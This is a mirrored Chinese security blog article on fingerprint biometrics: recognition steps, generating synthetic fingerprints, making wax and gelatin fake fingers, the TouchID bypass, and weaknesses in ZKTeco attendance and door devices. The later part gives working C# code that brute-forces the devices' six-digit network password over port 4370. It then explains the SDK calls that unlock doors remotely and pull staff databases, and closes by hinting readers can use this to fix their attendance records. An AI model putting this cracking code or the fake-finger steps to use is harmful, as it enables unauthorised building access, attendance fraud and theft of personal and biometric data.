生物特徵識別之指紋識別,偽造,指紋裝置缺陷設計

wyzsk發表於2020-08-19
作者: 海南雞飯 · 2014/06/03 12:43

0x00 背景


傳統安全技術把使用者生物資訊作為信任物件進行可信計算來當作認證因子,包括對使用者進行生物資訊模式識別,對目標的生物模式進行密碼學計算,對目標進行融合驗證計算等。生物資訊特徵種類繁多,現階段包括:指紋,人臉,語音等等,間接生物識別包括DNA圖譜識別,涉及化驗技術才能進行,我們不是法醫,這裡不做涉及講解。

0x01 為何要講解指紋識別?


現代計算機及網路識別基礎上的指紋應用還是比較廣泛的(從數量上說用指紋識別的比其它一些生物特徵識別技術要多,配置指紋識別的單位安全級別不及虹膜識別高),涉及的問題也開始層出不窮,如果未來手機上學蘋果一樣普及這項技術,移動終端APP收集指紋到伺服器可能會有安全問題出現。

0x02 傳統指紋識別技術要點


指紋學的歷史可以追述到幾百年前,1892 年,英國學者高爾頓的《指紋學》(1892),提出了三個影響重大的科學論點:1.指紋終生不變;2.指紋可識別;3.指紋可分類。

2014060219564549627.png

亨利氏指紋分類法依照指紋形狀將指紋分成鬥形紋、箕形紋和弧形紋三大類。

鬥形紋又可細分為鬥形紋、雙箕形紋、囊形紋和雜形紋;

箕形紋可再分為正箕形紋和反箕紋形;

弧形紋也有弧形紋和帳形紋。

美國聯邦調查局所管理的指紋資料庫名為IAFIS,內容包括4700萬組指紋,使用的分類法為八大型別分析法:紋型線;內端及三角;箕形紋內端;箕形紋外端;鬥形紋內端;鬥形紋外端;追跡線;指紋型別

這裡現有的《visual c++指紋模式識別系統演算法及實現》為我們做了很好的技術方面的參考。

0x03 指紋識別一般步驟


(1)影像預處理

去躁.濾波等原始影像真實化處理,然後按紋理進行增強處理,然後數字化指紋影像進行細化處理.

(2)指紋特徵數字化

數字化指紋端點和紋線分叉點(取指紋紋理上類似線段特徵).

2014060219581469649.png

(3)特徵匹配測量

將指紋端點和叉點集合採集的特徵模板與現存的樣板進行拓撲結構匹配測量.

2014060219590465050.png

0x04 技術的大致實現原理


這裡認證技術包括影像處理,特徵提取,匹配演算法,特徵提取又包括Poincare值計算。沒有下列圖說得這麼簡單,而且現在裝置基本不存影像,而是根據指紋算Key再儲存。文章太多寫不完,這裡標個記,到時候在另起文章寫,演算法也是可以另寫一篇的。

2014060220002861484.png

2014060220011548532.png

步驟包括

1.指紋先被掃描(光學等) 
2.指紋被分析特徵點被提取(端點,叉點,中心點及奇異點) 
3.指紋特徵作為模板儲存到指紋資料庫 

0x05 指紋採集自動化生成工作指紋生成器FPGenerator建立指紋庫


有時候做系統測試需要一批指紋樣例,一個個採集指紋是很麻煩的事情,這裡我們可以直接使用中國科學院自動化研究所的FPGenerator來自動生成我們需要的一些指紋來做指紋資料庫樣例的工作.

輪廓:

Fingerprint mask generation 上的“Left”,“Right”,“Top”,“Bottom”操作指紋影像左,右,上,下的輪廓。

2014060220022232828.png

背景修改:

“none”,“Optical(光學)”,“Scrapping(刮擦)”。

2014060220025652689.png

中間過程總共有10步,大家只要遇到需要進行指紋系統試驗的情況,可以用它生成採集影像,裡面包括了乾燥,影像加噪點等功能。

0x06 土辦法實現指模提取及複製


有時候沒有自動化生成軟體情況下,我們需要對方指紋模型或者自己的指紋模型,或者根據竊取來的指紋做一個偽造產品(在犯罪現場留下一個偽造他人的指紋並不是做不到),或者盜竊別人的生物特徵指紋,這個不像傳統的密碼被盜就可以隨時修改,被盜走就追不回來了,所以寫這篇文章目的在於強調指紋認證系統的資料庫安全,當然其它生物特徵作為雙因子認證的系統同樣要注意。

1.實際上提取指紋的材料非常多,做指模的材料可以使用蠟燭,氰基丙烯酸鹽粘合劑,膠帶紙等。比方下列我可以直接搞到手的東西。

2014060220064890937.jpg

2.關於指模的製作,可以直接選用滴蠟的方式製作指模,比較方便,便於就地隨手取材,貌似市面上賣的製作指模的就是這麼個辦法。當然還有用塑膠產品做還有用橡皮泥做,更多的有取指紋的專業膠帶做。

2014060220072717035.png

3.成品指模大致上就是下圖本大爺指紋的樣子,可以過一般的考勤機及光學門禁系統。

2014060220080388625.png

0x07 WHY I HACKED TOUCHID Marc Rogers演講用的PPT中比較有意思的地方


早在2013年的syscan上Marc Rogers就演示過指模繞過蘋果iphone的指紋認證,其中PPT的”How Fingerprint Scanners FAIL”部分提到過幾點注意的地方

1.指紋掃描器信任我們在任何物體上觸碰留下的證明痕跡 
2.如果你能獲得並複製指紋特徵,你就能實現重放攻擊 
3.小熊軟糖能夠在很多系統上實現指紋功能,當然純明膠效果更好(隆胸等材料) 
4.明膠是一種從動物皮膚上提取做成的蛋白質,所以與人體皮膚非常相似 
5.明膠被用於指紋重放攻擊上並不意外 
6.最新的系統也會把這種模擬指紋識別為真指紋 

2014060220084943813.png

2002年論文Impact of Artificial "Gummy" Fingers on Fingerprint Systems也有提到過幾種材料(活體,矽膠,明膠)的對比問題,它們之間紋理差別並不是很大,類似於人體活體指紋一樣,能夠輕易騙過辨識度不是很高的指紋認證產品。

2014060220103254320.png

PPT中詳細介紹了指紋提取流程,涉及數碼照相,閾值色階調整,列印,方便用來做指模。如下圖所示:

2014060220111911220.png

2014060220120425154.png

2014060220122740739.png

PPT最後的部分“But, What does this mean?”中提到了幾個有趣的觀點

1.指紋認證並不是最高階別的安全措施,,但是指紋認證是一種方便的安全措施,所以我們常用在考勤,門禁,及手機能產品上 
2.街上的賊並不會指紋克隆技術去解鎖偷來的iphone手機,他們會重刷系統然後賣掉 
3.單獨來說,指紋認證不該被用於保護你的銀行賬戶,護照或被偷的機密文件。(其實現在國內基本用於雙因子認證補充) 
4.門禁及一些老裝置識別活體指紋還是有點難度,所以還需要加上一些溫感等監測方法,當然用溫水加熱也許能繞過。 

0x08 指紋考勤系統軟體設計缺陷,一些好玩的東西


只要能搞定指紋考勤機(其餘型別考勤機也同樣),在很大情況下能搞定一家公司的所有人員資訊,下面我說一下在研究指紋裝置時發現的認證缺陷問題。

這裡在軟體選型上我找到了規模比較大的中控生物旗下的考勤產品下載,其中有下載量比較大的ZKTime系列的免費版。

2014060220133172492.png

介紹裡說明幾乎支援所有型別的指紋考勤機,指紋門禁及所有同品牌型別的指紋產品型別,如果算連線網路的裝置全中國估計會有6位數以上的裝置終端。

網站上有一篇“戶外物理裝置入侵之:入侵併“調教”中控指紋語音考勤系統(打卡機)”,作者只是寫了個大概,並沒有對程式進行過分析,有些概念是錯誤的,反正正好我也在研究,重新寫一些東西糾正一下好了。

關於此類裝置的認證方面網上都有資料可循,不過有些人說是明文,三次握手部分看不到有此類的資料包,所以應該是加密演算法做雜湊,尤其說過此密碼估計要裝置終端和PC終端相同才行。(裝置預設開啟4370埠,6位數字組合為暴力列舉必破)

2014060220160246182.png

2014060220170692817.png

所以這裡裝置爆破手法1.搞清密碼處理流程用資料包騙過去。2,直接扣二次開發SDK或者找開發資料把函式扣出來。

索性SDK做得簡單易懂,我看一天左右就可以上手編寫破解密碼的程式部分了。

2014060220183670975.jpg

指紋考勤聯機部分的流程SDK文件如下:

2014060220192293626.jpg    

遠端網路認證部分關鍵函式有兩個:

1.Connect_Net 

VARIANT_BOOL Connect_Net( [in] BSTR IPAdd, [in] long Portl)

布林型別的函式

IPAdd,(遠端裝置IP地址)和Port(裝置認證埠)

2.SetCommPassword

VARIANT_BOOL SetCommPassword( [in] long CommKey)

CommKey為密碼(小聲說一句,可能是為了相容或者開發方便,認證方式實在很弱)。

整個連線過程不過很短的幾句程式碼,加個迴圈就能成為破解密碼程式:

#!cpp
private void CrackerConnect() {
    zkemkeeper.CZKEMClass axCZKEM1 = new zkemkeeper.CZKEMClass();
    int ifcommnetpass = 0;
    for (j = 0; j < 24; j++) {
        key = comkeys[j];
        pwd = axCZKEM1.SetCommPassword(key);
        if (pwd == true) {
            bIsConnected = axCZKEM1.Connect_Net(txtIP.Text, Convert.ToInt32(txtPort.Text));
            if (bIsConnected == true) {
                btnConnect.BeginInvoke(new System.EventHandler(SetbtnConnectTextSec));
                lblState.BeginInvoke(new System.EventHandler(SetlblStateTextSec), comkeystr[j]);
                iMachineNumber = 1;//In fact,when you are using the tcp/ip communication,this parameter will be ignored,that is any integer will all right.Here we use 1. 
                axCZKEM1.RegEvent(iMachineNumber, 65535);//Here you can register the realtime events that you want to be triggered(the parameters 65535 means registering all) 
                ifcommnetpass = 1;
                break;
            } else {
                lblState.BeginInvoke(new System.EventHandler(SetlblStateTextSecfail), comkeystr[j]);
            }
        }
    }
    if (ifcommnetpass == 0) {
        for (j = 0; j < 1000000; j++) {
            key = keys[j];
            pwd = axCZKEM1.SetCommPassword(key);
            if (pwd == true) {
                bIsConnected = axCZKEM1.Connect_Net(txtIP.Text, Convert.ToInt32(txtPort.Text));
                if (bIsConnected == true) {
                    btnConnect.BeginInvoke(new System.EventHandler(SetbtnConnectTextSec));
                    lblState.BeginInvoke(new System.EventHandler(SetlblStateTextSec), keystr[j]);//
                    iMachineNumber = 1;//In fact,when you are using the tcp/ip communication,this parameter will be ignored,that is any integer will all right.Here we use 1. //
                    axCZKEM1.RegEvent(iMachineNumber, 65535);//Here you can register the realtime events that you want to be triggered(the parameters 65535 means registering all) 
                    break; 
                } else {
                    lblState.BeginInvoke(new System.EventHandler(SetlblStateTextSecfail), keystr[j]);
                }
            }
        }
    }
    Cursor = Cursors.Default;
}

注意先註冊SDK裡提供的控制元件再呼叫裡面的介面函式:

2014060220263466786.jpg

按照SDK開發的專門入侵的程式可以做到遠端開關裝置和遠端清密碼,還有開門禁等等。

比方說開門禁的

ACUnlock

【函式定義】

VARIANT_BOOL  ACUnlock([in] long dwMachineNumber, [in] long Delay)

【功能】

開門,使開門控制器輸出開門電平,並延遲(Delay/10)秒後關門

【引數】

dwMachineNumber

機器號

Delay

開門延遲時間

【返回值】

成功返回True,否則返回False

2014060220272581566.jpg

還有很多功能,比如鳴叫報警,自動開門,下載整個公司資料庫,照片指紋等,甚至可以像遊戲Watch dog裡一樣手機開門,手機關門禁和考勤裝置,其實考勤及門禁裝置也很重要。

大家節後上班考勤難免會有問題,有緣人看這篇文章應該知道咋做了。

附錄:

參考資料:

《可信雲安全管家技術實現》

《WHY I HACKED TOUCHID》Marc Rogers

《TFT 系列離線通訊開發包開發手冊》

本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!

相關文章